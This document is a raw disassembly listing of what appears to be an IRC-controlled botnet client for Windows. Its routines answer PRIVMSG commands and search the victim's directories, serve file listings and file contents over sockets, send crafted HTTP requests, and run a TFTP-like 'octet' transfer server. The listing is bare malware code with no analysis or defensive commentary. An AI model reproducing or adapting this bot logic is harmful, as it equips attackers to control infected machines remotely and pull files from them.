arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_417030
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
push eax
jz short loc_405F6B
push offset aS_4 ; "\\%s"
jmp short loc_405F73
; ---------------------------------------------------------------------------
loc_405F6B: ; CODE XREF: sub_405F35+2Dj
mov byte ptr [eax], 5Ch
push offset aS_3 ; "%s"
loc_405F73: ; CODE XREF: sub_405F35+34j
lea eax, [ebp+var_10C]
push eax
call sub_416FB6
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_4177B0
test eax, eax
pop ecx
jbe short loc_40600E
mov [ebp+arg_8], 2
loc_405F9E: ; CODE XREF: sub_405F35+D7j
lea eax, [ebp+var_10C]
push eax
call sub_4177B0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_405FDE
cmp [ebp+esi+var_10C], 25h
jnz short loc_405FDE
cmp [ebp+esi+var_10B], 32h
jnz short loc_405FDE
cmp [ebp+esi+var_10A], 30h
jnz short loc_405FDE
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_405FF8
; ---------------------------------------------------------------------------
loc_405FDE: ; CODE XREF: sub_405F35+79j
; sub_405F35+83j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_405FEE
push 5Ch
pop eax
jmp short loc_405FF1
; ---------------------------------------------------------------------------
loc_405FEE: ; CODE XREF: sub_405F35+B2j
movsx eax, al
loc_405FF1: ; CODE XREF: sub_405F35+B7j
mov [ebp+ebx+var_210], al
loc_405FF8: ; CODE XREF: sub_405F35+A7j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_4177B0
cmp esi, eax
pop ecx
jb short loc_405F9E
loc_40600E: ; CODE XREF: sub_405F35+60j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS_2 ; "%s%s"
push eax
call sub_416FB6
lea eax, [ebp+var_314]
push offset asc_4296D4 ; "\n"
push eax
call sub_41886E
add esp, 18h
lea eax, [ebp+var_314]
push eax
call dword_4230A8 ; GetFileAttributesA
xor esi, esi
inc esi
cmp eax, 10h
jz short loc_40605C
cmp eax, 0FFFFFFFFh
jnz short loc_40605F
push [ebp+arg_0]
jmp short loc_4060DB
; ---------------------------------------------------------------------------
loc_40605C: ; CODE XREF: sub_405F35+11Bj
mov [ebp+var_4], esi
loc_40605F: ; CODE XREF: sub_405F35+120j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40606C
mov [ebp+var_4], esi
loc_40606C: ; CODE XREF: sub_405F35+132j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_4060E6
cmp [ebp+arg_C], edi
jz short loc_4060DA
lea eax, [ebp+var_314]
push offset asc_4296D0 ; "*"
push eax
call sub_4176D0
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_416FB6
lea eax, [ebp+var_210]
push eax
call sub_406922
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_416FB6
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_406135
; ---------------------------------------------------------------------------
loc_4060DA: ; CODE XREF: sub_405F35+14Ej
push ebx
loc_4060DB: ; CODE XREF: sub_405F35+125j
call dword_43EBBC ; closesocket
jmp loc_4061CB
; ---------------------------------------------------------------------------
loc_4060E6: ; CODE XREF: sub_405F35+149j
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call dword_423084 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_406135
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_416FB6
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call dword_4230A4 ; GetFileSize
push esi
mov [ebp+var_330], eax
call dword_423078 ; CloseHandle
loc_406135: ; CODE XREF: sub_405F35+1A3j
; sub_405F35+1CEj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_429690
push eax
call sub_416FB6
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_416A7A
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_44456C[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_405DB9
push edi
push edi
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_44457C[ecx], eax
jnz short loc_4061DA
push ebx
call dword_43EBBC ; closesocket
call dword_42308C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_8C4]
push offset unk_429648
push eax
call sub_416FB6
lea eax, [ebp+var_8C4]
push eax
call sub_40BD8D
add esp, 10h
loc_4061CB: ; CODE XREF: sub_405F35+1ACj
; sub_405F35+2ADj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4061D2: ; CODE XREF: sub_405F35+2ABj
push 5
call dword_423064 ; Sleep
loc_4061DA: ; CODE XREF: sub_405F35+266j
cmp [ebp+var_318], edi
jz short loc_4061D2
jmp short loc_4061CB
sub_405F35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4061E4 proc near ; CODE XREF: sub_405DB9+153p
; sub_40EC43+49E4p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_417030
mov edi, [ebp+arg_0]
push offset asc_4296D4 ; "\n"
push edi
call sub_41886E
add esp, 14h
cmp [ebp+arg_8], ebx
push edi
jz short loc_406243
push [ebp+arg_8]
mov esi, 200h
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41752A
add esp, 14h
jmp loc_40633F
; ---------------------------------------------------------------------------
loc_406243: ; CODE XREF: sub_4061E4+3Bj
cmp [ebp+arg_C], ebx
jz loc_406325
call sub_4177B0
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41752A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43EB74 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41752A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43EB74 ; send
push edi
call sub_4177B0
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41752A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43EB74 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41752A
add esp, 0Ch
jmp short loc_40633F
; ---------------------------------------------------------------------------
loc_406325: ; CODE XREF: sub_4061E4+62j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41752A
add esp, 10h
loc_40633F: ; CODE XREF: sub_4061E4+5Aj
; sub_4061E4+13Fj
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43EB74 ; send
cmp [ebp+arg_C], ebx
jz short loc_4063D7
push [ebp+arg_C]
call sub_4177B0
cmp eax, 2
pop ecx
jbe short loc_4063D7
push [ebp+arg_C]
call sub_4177B0
sub eax, 3
pop ecx
jz short loc_40638B
loc_40637F: ; CODE XREF: sub_4061E4+1A5j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40638B
dec eax
jnz short loc_40637F
loc_40638B: ; CODE XREF: sub_4061E4+199j
; sub_4061E4+1A2j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_418910
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41752A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43EB74 ; send
loc_4063D7: ; CODE XREF: sub_4061E4+17Dj
; sub_4061E4+18Bj
lea eax, [ebp+var_388]
push eax
push edi
call dword_4230BC ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call dword_4230B8 ; FindNextFileA
test eax, eax
jz loc_4067CE
mov edi, 1FFh
loc_406403: ; CODE XREF: sub_4061E4+5E4j
cmp [ebp+var_388], ebx
jz loc_4067B6
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4067B6
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4067B6
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call dword_4230B4 ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call dword_4230B0 ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja loc_406500
mov ecx, offset aAm ; "AM"
movzx eax, ax
loc_40647F: ; CODE XREF: sub_4061E4+322j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_416FB6
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_406637
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40650B
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41752A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_41752A
add esp, 28h
jmp loc_406787
; ---------------------------------------------------------------------------
loc_406500: ; CODE XREF: sub_4061E4+28Dj
movzx eax, ax
sub eax, 0Ch
jmp loc_40647F
; ---------------------------------------------------------------------------
loc_40650B: ; CODE XREF: sub_4061E4+2D5j
cmp [ebp+arg_C], ebx
jz loc_4065F5
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41752A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43EB74 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_41752A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43EB74 ; send
lea eax, [ebp+var_35C]
push eax
call sub_4177B0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_4065B1
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_4065B6
; ---------------------------------------------------------------------------
loc_4065B1: ; CODE XREF: sub_4061E4+3C4j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_4065B6: ; CODE XREF: sub_4061E4+3CBj
push edi
push eax
call sub_41752A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43EB74 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_406778
; ---------------------------------------------------------------------------
loc_4065F5: ; CODE XREF: sub_4061E4+32Aj
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41752A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_406622: ; CODE XREF: sub_4061E4+47Bj
lea eax, [ebp+var_248]
push esi
push eax
call sub_41752A
add esp, 24h
jmp loc_406787
; ---------------------------------------------------------------------------
loc_406637: ; CODE XREF: sub_4061E4+2C9j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_406661
push ebx
push [ebp+var_368]
call sub_40CE23
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_406622
; ---------------------------------------------------------------------------
loc_406661: ; CODE XREF: sub_4061E4+459j
cmp [ebp+arg_C], ebx
jz loc_406761
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41752A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43EB74 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_2 ; "%s%s"
push edi
push eax
call sub_41752A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43EB74 ; send
lea eax, [ebp+var_35C]
push eax
call sub_4177B0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_406707
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40670C
; ---------------------------------------------------------------------------
loc_406707: ; CODE XREF: sub_4061E4+51Aj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40670C: ; CODE XREF: sub_4061E4+521j
push edi
push eax
call sub_41752A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43EB74 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_41752A
add esp, 1Ch
jmp short loc_406787
; ---------------------------------------------------------------------------
loc_406761: ; CODE XREF: sub_4061E4+480j
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_406778: ; CODE XREF: sub_4061E4+40Cj
lea eax, [ebp+var_248]
push eax
call sub_41752A
add esp, 18h
loc_406787: ; CODE XREF: sub_4061E4+317j
; sub_4061E4+44Ej ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43EB74 ; send
cmp [ebp+arg_8], ebx
jz short loc_4067B6
push 7D0h
call dword_423064 ; Sleep
loc_4067B6: ; CODE XREF: sub_4061E4+225j
; sub_4061E4+240j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call dword_4230B8 ; FindNextFileA
test eax, eax
jnz loc_406403
loc_4067CE: ; CODE XREF: sub_4061E4+214j
push [ebp+arg_0]
call dword_4230AC ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_406811
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40CE23
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_40CE23
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_416FB6
add esp, 14h
jmp short loc_40683F
; ---------------------------------------------------------------------------
loc_406811: ; CODE XREF: sub_4061E4+5F6j
cmp [ebp+arg_C], ebx
lea eax, [ebp+var_248]
jz short loc_40682B
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_416FB6
pop ecx
pop ecx
jmp short loc_40683F
; ---------------------------------------------------------------------------
loc_40682B: ; CODE XREF: sub_4061E4+636j
push [ebp+var_8]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_416FB6
add esp, 10h
loc_40683F: ; CODE XREF: sub_4061E4+62Bj
; sub_4061E4+645j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43EB74 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4061E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406865 proc near ; CODE XREF: sub_405DB9+135p
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call dword_423084 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40691D
push esi
push ebx
call dword_4230A4 ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_406916
loc_4068AA: ; CODE XREF: sub_406865+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_417030
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_4068C7
mov edi, [ebp+arg_4]
loc_4068C7: ; CODE XREF: sub_406865+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call dword_4230C0 ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call dword_423074 ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_406911
call dword_43EAB8 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_406916
xor eax, eax
loc_406911: ; CODE XREF: sub_406865+9Bj
sub [ebp+arg_4], eax
jnz short loc_4068AA
loc_406916: ; CODE XREF: sub_406865+43j
; sub_406865+A8j
push ebx
call dword_423078 ; CloseHandle
loc_40691D: ; CODE XREF: sub_406865+30j
pop edi
pop esi
pop ebx
leave
retn
sub_406865 endp
; =============== S U B R O U T I N E =======================================
sub_406922 proc near ; CODE XREF: sub_405F35+17Bp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_4177B0
test eax, eax
pop ecx
jbe short loc_40694B
loc_406935: ; CODE XREF: sub_406922+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_40693F
mov byte ptr [esi+edi], 2Fh
loc_40693F: ; CODE XREF: sub_406922+17j
push edi
inc esi
call sub_4177B0
cmp esi, eax
pop ecx
jb short loc_406935
loc_40694B: ; CODE XREF: sub_406922+11j
mov eax, edi
pop edi
pop esi
retn
sub_406922 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406950 proc near ; CODE XREF: sub_40EC43+2BA9p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_43EA9C ; WSAStartup
push 6
push 1
push 2
call dword_43EBA4 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_43EB24 ; htons
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40ABF8
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43EACC ; connect
cmp eax, 0FFFFFFFFh
jz short loc_406A2D
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_4069C9
mov eax, offset byte_43BCE8
loc_4069C9: ; CODE XREF: sub_406950+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41752A
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_43EB74 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_417090
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_43EB3C ; recv
pop esi
loc_406A2D: ; CODE XREF: sub_406950+6Bj
push ebx
call dword_43EBBC ; closesocket
call dword_43EA84 ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_416FB6
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_406A6D
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
loc_406A6D: ; CODE XREF: sub_406950+102j
pop edi
pop ebx
leave
retn
sub_406950 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A71 proc near ; CODE XREF: sub_406A71:loc_406F56p
; DATA XREF: sub_4070A3+104o ...
var_884 = dword ptr -884h
var_880 = dword ptr -880h
var_780 = byte ptr -780h
var_580 = byte ptr -580h
var_57F = byte ptr -57Fh
var_57E = byte ptr -57Eh
var_57D = byte ptr -57Dh
var_57C = byte ptr -57Ch
var_37C = dword ptr -37Ch
var_378 = byte ptr -378h
var_274 = byte ptr -274h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
var_D6 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_58 = byte ptr -58h
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
mov esi, offset aOctet ; "octet"
lea edi, [ebp+var_1C]
movsd
movsw
xor ebx, ebx
xor eax, eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_37C]
push ebx
inc eax
push 2
rep movsd
inc [ebp+var_16C]
push 2
mov [ebp+var_C], eax
mov [edx+2A0h], eax
call dword_43EBA4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_406B34
push 190h
call dword_423064 ; Sleep
call dword_43EAB8 ; WSAGetLastError
push eax
lea eax, [ebp+var_780]
push offset dword_429CE0
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_E0], ebx
jnz short loc_406B14
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40D476
add esp, 14h
loc_406B14: ; CODE XREF: sub_406A71+7Ej
lea eax, [ebp+var_780]
push eax
call sub_40BD8D
push [ebp+var_170]
call sub_416D90
pop ecx
pop ecx
push ebx
call dword_423054 ; ExitThread
loc_406B34: ; CODE XREF: sub_406A71+50j
mov eax, [ebp+var_170]
push 10h
imul eax, 234h
push ebx
mov dword_444574[eax], edi
lea eax, [ebp+var_44]
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_44], 2
push [ebp+var_168]
call dword_43EB24 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_44]
push 10h
push eax
push edi
mov [ebp+var_40], ebx
call dword_43EB50 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_406B99
push 1388h
call dword_423064 ; Sleep
dec [ebp+var_16C]
push [ebp+arg_0]
jmp loc_406F56
; ---------------------------------------------------------------------------
loc_406B99: ; CODE XREF: sub_406A71+10Dj
lea eax, [ebp+var_378]
push offset aRb ; "rb"
push eax
call sub_4176A8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jnz short loc_406C17
push 190h
call dword_423064 ; Sleep
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_780]
push offset unk_429CA0
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40D476
lea eax, [ebp+var_780]
push eax
call sub_40BD8D
push [ebp+var_170]
call sub_416D90
add esp, 28h
push ebx
call dword_423054 ; ExitThread
loc_406C17: ; CODE XREF: sub_406A71+140j
mov esi, 200h
loc_406C1C: ; CODE XREF: sub_406A71+49Fj
mov eax, [ebp+arg_0]
cmp [eax+2A0h], ebx
jz loc_406F16
mov [ebp+var_880], edi
mov edi, 80h
push edi
lea eax, [ebp+var_D8]
push ebx
push eax
mov [ebp+var_34], 5
mov [ebp+var_30], 1388h
mov [ebp+var_884], 1
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_34]
push eax
push ebx
lea eax, [ebp+var_884]
push ebx
push eax
push ebx
call dword_43EB0C ; select
test eax, eax
jle loc_406F0A
mov al, byte_43BCE8
mov ecx, edi
mov [ebp+var_580], al
xor eax, eax
lea edi, [ebp+var_57F]
mov [ebp+var_4], 10h
rep stosd
stosw
stosb
mov edi, [ebp+var_10]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
lea eax, [ebp+var_D8]
push 80h
push eax
push edi
call dword_43EAFC ; recvfrom
push [ebp+var_28]
mov [ebp+var_C], eax
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_58]
push eax
call sub_416FB6
cmp [ebp+var_D8], bl
pop ecx
pop ecx
jnz loc_406EF4
cmp [ebp+var_D7], 1
jnz loc_406E46
lea eax, [ebp+var_274]
push eax
call sub_4177B0
lea eax, [ebp+eax+var_D5]
mov [ebp+var_14], eax
lea eax, [ebp+var_274]
push eax
call sub_4177B0
push eax
lea eax, [ebp+var_D6]
push eax
lea eax, [ebp+var_274]
push eax
call sub_418AA0
add esp, 14h
test eax, eax
jnz loc_406E00
lea eax, [ebp+var_1C]
push eax
